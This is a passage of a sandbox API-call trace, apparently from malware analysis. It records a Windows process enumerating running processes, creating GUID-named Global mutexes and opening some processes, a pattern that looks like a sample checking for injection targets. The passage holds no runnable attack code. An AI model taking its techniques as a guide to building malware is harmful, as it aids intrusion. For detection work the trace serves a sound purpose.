th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.856] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.857] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.858] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.859] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.860] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.860] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.861] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0124.861] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0124.861] GetLastError () returned 0xb7 [0124.862] CloseHandle (hObject=0x6cc) returned 1 [0124.862] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.862] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0124.863] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0124.863] GetLastError () returned 0xb7 [0124.863] CloseHandle (hObject=0x6cc) returned 1 [0124.863] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.864] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0124.864] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0124.864] GetLastError () returned 0x0 [0124.864] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0124.864] CloseHandle (hObject=0x6cc) returned 1 [0124.864] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0124.864] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0124.864] GetLastError () returned 0x0 [0124.864] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0124.864] CloseHandle (hObject=0x6cc) returned 1 [0124.865] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0124.865] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0124.865] GetLastError () returned 0xb7 [0124.865] CloseHandle (hObject=0x6cc) returned 1 [0124.865] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0124.865] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0124.865] GetLastError () returned 0x0 [0124.865] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0124.865] CloseHandle (hObject=0x6cc) returned 1 [0124.873] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0124.873] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0124.873] GetLastError () returned 0xb7 [0124.873] CloseHandle (hObject=0x6cc) returned 1 [0124.985] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0124.985] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0124.985] GetLastError () returned 0xb7 [0124.985] CloseHandle (hObject=0x6cc) returned 1 [0124.985] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0124.986] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0124.986] GetLastError () returned 0xb7 [0124.986] CloseHandle (hObject=0x6cc) returned 1 [0124.986] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0124.986] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0124.986] GetLastError () returned 0x0 [0124.986] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0124.986] CloseHandle (hObject=0x6cc) returned 1 [0124.986] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0124.987] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0124.987] GetLastError () returned 0x0 [0124.987] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0124.987] CloseHandle (hObject=0x6cc) returned 1 [0124.987] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0124.987] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0124.987] GetLastError () returned 0xb7 [0124.987] CloseHandle (hObject=0x6cc) returned 1 [0124.987] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0124.987] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0124.987] GetLastError () returned 0x0 [0124.987] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0124.987] CloseHandle (hObject=0x6cc) returned 1 [0124.994] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0124.994] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0124.994] GetLastError () returned 0xb7 [0124.994] CloseHandle (hObject=0x6cc) returned 1 [0125.110] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.110] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.110] GetLastError () returned 0xb7 [0125.110] CloseHandle (hObject=0x6cc) returned 1 [0125.110] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.110] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.110] GetLastError () returned 0xb7 [0125.110] CloseHandle (hObject=0x6cc) returned 1 [0125.111] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0125.111] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0125.111] GetLastError () returned 0x0 [0125.111] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0125.111] CloseHandle (hObject=0x6cc) returned 1 [0125.111] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0125.111] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0125.111] GetLastError () returned 0x0 [0125.111] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0125.111] CloseHandle (hObject=0x6cc) returned 1 [0125.112] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0125.112] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0125.112] GetLastError () returned 0xb7 [0125.112] CloseHandle (hObject=0x6cc) returned 1 [0125.112] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0125.112] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0125.112] GetLastError () returned 0x0 [0125.112] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0125.112] CloseHandle (hObject=0x6cc) returned 1 [0125.119] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0125.119] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0125.119] GetLastError () returned 0xb7 [0125.119] CloseHandle (hObject=0x6cc) returned 1 [0125.235] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.235] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.235] GetLastError () returned 0xb7 [0125.235] CloseHandle (hObject=0x6cc) returned 1 [0125.235] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.235] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.235] GetLastError () returned 0xb7 [0125.235] CloseHandle (hObject=0x6cc) returned 1 [0125.236] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0125.236] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0125.236] GetLastError () returned 0x0 [0125.236] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0125.236] CloseHandle (hObject=0x6cc) returned 1 [0125.236] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0125.236] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0125.236] GetLastError () returned 0x0 [0125.236] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0125.236] CloseHandle (hObject=0x6cc) returned 1 [0125.236] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0125.236] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0125.236] GetLastError () returned 0xb7 [0125.236] CloseHandle (hObject=0x6cc) returned 1 [0125.237] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0125.237] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0125.237] GetLastError () returned 0x0 [0125.237] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0125.237] CloseHandle (hObject=0x6cc) returned 1 [0125.244] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0125.244] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0125.244] GetLastError () returned 0xb7 [0125.244] CloseHandle (hObject=0x6cc) returned 1 [0125.359] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.359] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.359] GetLastError () returned 0xb7 [0125.359] CloseHandle (hObject=0x6cc) returned 1 [0125.360] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.360] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.360] GetLastError () returned 0xb7 [0125.360] CloseHandle (hObject=0x6cc) returned 1 [0125.360] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0125.360] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0125.360] GetLastError () returned 0x0 [0125.361] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0125.361] CloseHandle (hObject=0x6cc) returned 1 [0125.361] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0125.361] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0125.361] GetLastError () returned 0x0 [0125.361] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0125.361] CloseHandle (hObject=0x6cc) returned 1 [0125.361] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0125.361] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0125.361] GetLastError () returned 0xb7 [0125.361] CloseHandle (hObject=0x6cc) returned 1 [0125.362] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0125.362] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0125.362] GetLastError () returned 0x0 [0125.362] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0125.362] CloseHandle (hObject=0x6cc) returned 1 [0125.369] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0125.369] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0125.369] GetLastError () returned 0xb7 [0125.369] CloseHandle (hObject=0x6cc) returned 1 [0125.484] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.484] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.484] GetLastError () returned 0xb7 [0125.484] CloseHandle (hObject=0x6cc) returned 1 [0125.484] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.484] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.484] GetLastError () returned 0xb7 [0125.484] CloseHandle (hObject=0x6cc) returned 1 [0125.485] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, 